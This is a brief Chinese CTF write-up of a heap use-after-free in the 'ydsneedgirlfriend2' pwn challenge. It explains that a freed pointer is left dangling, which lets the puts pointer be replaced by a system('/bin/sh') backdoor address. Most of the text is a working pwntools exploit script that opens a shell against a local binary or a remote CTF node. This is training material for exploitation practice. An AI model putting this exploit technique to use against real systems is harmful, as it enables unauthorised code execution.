文件信息
IDA截图
漏洞点
- 在free函数的时候,存在着UAF漏洞,只是free掉了指针个context,但是没有置为NULL
总结点
- 如何利用:将puts指针修改为后门函数,getshell。
- 出错点:第一次在使用system函数的时候,将地址
/bin/sh(0x400D96)
开始的地址。在本地可以getshell,但是远程失败了。
EXP1
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process("./ydsneedgirlfriend2")
else:
p= remote('node3.buuoj.cn',26040)
def add(size,context):
p.recvuntil("u choice :\n")
p.sendline(str(1))
p.recvuntil("Please input the length of her name:\n")
p.sendline(str(size))
p.recvuntil("Please tell me her name:\n")
p.sendline(context)
def delete(index):
p.recvuntil("u choice :\n")
p.sendline(str(2))
p.recvuntil("Index :")
p.sendline(str(index))
def show(index):
p.recvuntil("u choice :\n")
p.sendline(str(3))
p.recvuntil("Index :")
p.sendline(str(index))
system_sh_addr = 0x400D86
def pwn():
add(0x30,"aaaa")
delete(0)
add(0x10,p64(system_sh_addr)*2)
show(0)
p.interactive()
if __name__ == "__main__":
pwn()